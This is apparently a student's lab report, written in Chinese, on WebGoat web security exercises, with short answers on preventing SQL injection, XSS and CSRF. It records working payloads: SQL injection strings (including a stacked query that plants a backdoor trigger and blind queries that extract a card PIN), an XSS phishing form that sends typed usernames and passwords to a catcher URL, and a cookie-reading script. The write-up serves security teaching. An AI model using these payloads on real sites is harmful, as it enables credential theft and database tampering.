20145315何佳蕾《网络对抗》Web安全基础

1.实验后回答问题

(1)SQL注入攻击原理,如何防御

  • SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
  • 利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
  • 对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。

(2)XSS攻击的原理,如何防御

  • XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:Reflected XSS(基于反射的XSS攻击)、 Stored XSS(基于存储的XSS攻击)

    、 DOM-based or local XSS(基于DOM或本地的XSS攻击)
  • 过程 :攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击
  • 预防措施:
    1. 反射型:前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
    2. 存储型: 首要是服务端要进行过滤,因为前端的校验可以被绕过。当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。

(3)CSRF攻击原理,如何防御

  • CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无token/referer限制,导致攻击者可以用户的身份完成操作达到各种目的。根据HTTP请求方式,CSRF利用方式可分为两种, GET类型的CSRF和post类型的CSRF

  • 过程:攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击、

  • 目前主流的做法是使用Token抵御CSRF攻击

2.实验总结与体会

 好玩!!!!!!!!

但是我xss这块好像还有地方没有弄懂。。。好难,CSRF Token By-Pass做不出来,不知道怎么读token

3.实践过程记录

(1)string SQL injection

  • 注入Smith' or 1=1 --
  • SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1 --'
  • 把后面的引号注释掉,然后或一个永真式
  • 这个很简单嘛<( ̄ˇ ̄)/

(2)Database backdoor

  • 第一步,写两个并列的语句来修改工资。

  • 注入101; update employee set Salary=100000 where userid=101

  • 语句变成了select userid, password, ssn, salary, email from employee where userid=101; update employee set Salary=100000 where userid=101

  • 第二步,通过这个方法,使用字符串SQL注入注入后门。

  • select userid, password, ssn, salary, email from employee where userid=101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = 101

  • CREATE TRIGGER创建触发器,for each row 是指每行受影响,触发器都执行,意思是employee中每插入一条,触发器就会执行把id为101的人邮件修改为john@hackme.com

(3)Blind Numeric SQL Injection

  • 允许用户输入帐号并确定其有效与否
  • 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  • 输入上述语句,通过返回正确与否来猜测密码范围,二分法不断尝试,最终得到密码值为2364.
  • 看了提示才写出来的,我自己想不到(>_<)

(4)Blind String SQL Injection

  • 字符型和上面数值型的一样,用二分法去试大小写一共52个字母
  • 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );
  • substring() 方法用于提取字符串中介于两个指定下标之间的字符,(SUBSTRING(string)1,1)表示字符串第一个字母的值。第一个1是表示第一个字符,第二个1表示从1开始数。
  • 最后得到name为Jill

(5)Phishing with XSS

  • 写一个和官方的网页一样的html网页
  • 这个不能算我做的,我只是看懂了。。。web编程不会。
</form>
<script>
function hack()
{ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} </script>
<form name="phish">
<br><br><HR><H3>This feature requires account login:</H2><br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
  • 伪造网页,把获取的用户名和密码传给WebGoat/capture
  • name="login" value="login" onclick="hack()点击login后,执行hack(),获取用户名密码,并弹窗Had this been a real attack... Your credentials were just stolen. User Name ="你的用户名 " Password = "你的密码"

(6)Stored XSS Attacks

  • 基于存储的xss攻击,把攻击者的数据存储在服务器端,攻击将伴随着攻击数据一直存在。
  • 在发送内容中填入脚本来进行攻击。
  • 弹窗Ha Ha Ha
  • 可以利用填入的脚本来盗取信息。
  • 攻击代码存储在服务器端,每次加载就会执行。

(7)Reflected XSS Attacks

  • 基于反射的xss攻击
  • 攻击者可以制作一个URL攻击脚本发送到一个网站,或发送电子邮件,让受害者点击它。
  • 进而可以构造获取用户cookies的地址
<script language="javascript" type="text/javascript">alert(document。cookei);</script>

(8)Cross Site Request Forgery (CSRF)

  • 这个攻击是在邮件中 在 HTML 的图片标签里URL指向恶意请求。
  • 普通的标签定义图像
  • 攻击时,在stc里填写"Screen" 和 "menu",然后,附加一个资金转移的数值。
  • 如果在验证时受到这封邮件,会造成资金转移。

(9)CSRF Prompt By-Pass

  • 在第八题的基础上,加上了第二个确认的命令,转移资金并确认。
  • transferFunds=CONFIRM

(10)CSRF Token By-Pass

  • 如果网页上用token来防止CSRF攻击,服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。在页面表单附带上Token参数进行验证。

  • 重要的是获取用户token

  • 好吧,我做不出来
  • 我们换一个吧。。。

(11)Numeric SQL Injection

  • 题目中网页只有选项,没有可以注入的地方
  • 按照周岐浩的教程启动BurpSuite,设置代理
  • 设置浏览器代理
  • 回到题目,任意选择一个选项发送。
  • 捕获一个包
  • 修改其中102为 102 or 1=1
  • 再发送修改过的包
  • 注入成功

截图

20145315何佳蕾《网络对抗》Web安全基础的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 20145315何佳蕾《网络对抗》MSF基础应用

    20145315何佳蕾<网络对抗>MSF基础应用 实验过程记录 (1)一个主动攻击,ms08_067; 1.打开msfconsole 2.use exploit/windows/smb/m ...

  3. 网络对抗——web基础

    网络对抗--web基础 实践内容 (1)Web前端HTML (2)Web前端javascipt (3)Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密码.建表 (4)Web ...

  4. 20145216史婧瑶 《网络对抗》 MSF基础应用

    20145216史婧瑶 <网络对抗> MSF基础应用 实验回答问题 用自己的话解释什么是exploit,payload,encode. exploit:渗透攻击模块,测试者利用它来攻击一个 ...

  5. 20145227鄢曼君《网络对抗》MSF基础应用

    20145227鄢曼君<网络对抗>MSF基础应用 主动攻击:ms08_067漏洞攻击实践 两台虚拟机,其中一台为kali,一台为windows xp sp3(英文版).在VMware中设置 ...

  6. 2018-2019 20165237网络对抗 Exp5 MSF基础应用

    2018-2019 20165237网络对抗 Exp5 MSF基础应用 实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如 ...

  7. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  8. 2018-2019 20165235 网络对抗 Exp5 MSF基础

    2018-2019 20165235 网络对抗 Exp5 MSF基础 1. 实践内容(3.5分) 1.1一个主动攻击实践 攻击方:kali 192.168.21.130 靶机: win7 192.16 ...

  9. 20145338 《网络对抗》 MSF基础应用

    20145338<网络对抗> MSF基础应用 实验内容 ·掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路. 具体需要完成(1)一个主动攻击;(2)一个针对浏览器的攻击 ...

随机推荐

  1. Cocos Creator 键盘监听事件

    键盘事件键盘.设备重力传感器此类全局事件是通过函数 cc.systemEvent.on(type, callback, target) 注册的.cc.SystemEvent.EventType.KEY ...

  2. cocos2d-x JS 开启远程代码调试

    为了方便服务端与测试部门的工作需要,把客户端的写的程序可以在其他电脑上运行,方便他人工作与测试. 下面是cocos2d-x JS WebStorm 的设置方法.

  3. cocos2dx 3.13 在Mac平台下配置安卓环境变量

    终端下输入:vi .bash_profile 编辑环境变量: export COCOS_CONSOLE_ROOT=/Users/jiazedong/Cocos2d-x/cocos2d-x-3.2/co ...

  4. Faster-rcnn实现目标检测

      Faster-rcnn实现目标检测 前言:本文浅谈目标检测的概念,发展过程以及RCNN系列的发展.为了实现基于Faster-RCNN算法的目标检测,初步了解了RCNN和Fast-RCNN实现目标检 ...

  5. LeetCode160.相交链表

    编写一个程序,找到两个单链表相交的起始节点. 例如,下面的两个链表: A: a1 → a2 ↘ c1 → c2 → c3 ↗ B: b1 → b2 → b3 在节点 c1 开始相交. 注意: 如果两个 ...

  6. 500次访问之后php-cgi进程退出

    之前遇到过php-cgi进程意外退出的问题,以为是负载过高导致的,这几天在写一个向数据库插数据的程序,测试稳定性时又遇到这种问题. 于是搜索,找到了这篇文章:http://stackoverflow. ...

  7. 在caffe-ssd安装编译环境运行make all时候报错:Makefile:572: recipe for target '.build_release/src/caffe/util/hdf5.o' failed make: *** [.build_release/src/caffe/util/hdf5.o] Error 1

    解决办法: 修改:Makefile.config INCLUDE_DIRS /usr/include/hdf5/serial/ 修改:Makefile LIBRARIES hdf5_hl and hd ...

  8. 福布斯最佳雇主榜:谷歌母公司Alphabet再登榜首 微软次之

    http://www.sohu.com/a/259018538_114774 站长之家(ChinaZ.com) 10月12日 消息:在福布斯发布的最新全球最佳雇主榜单中,谷歌母公司Alphabet以满 ...

  9. codeforces 979C Kuro and Walking Route

    题意: 给出一棵树,其中有两个点,x和y,限制走了x之后的路径上不能有y,问可以走的路径(u,v)有多少条,(u,v)和(v,u)考虑为两条不同的路径. 思路: 简单树形dp,dfs统计在x到y路径( ...

  10. pandas.io.common.CParserError: Error tokenizing data. C error: Expected 1 fields in line 526, saw 5

    pandas.io.common.CParserError: Error tokenizing data. C error: Expected 1 fields in line 526, saw 5 ...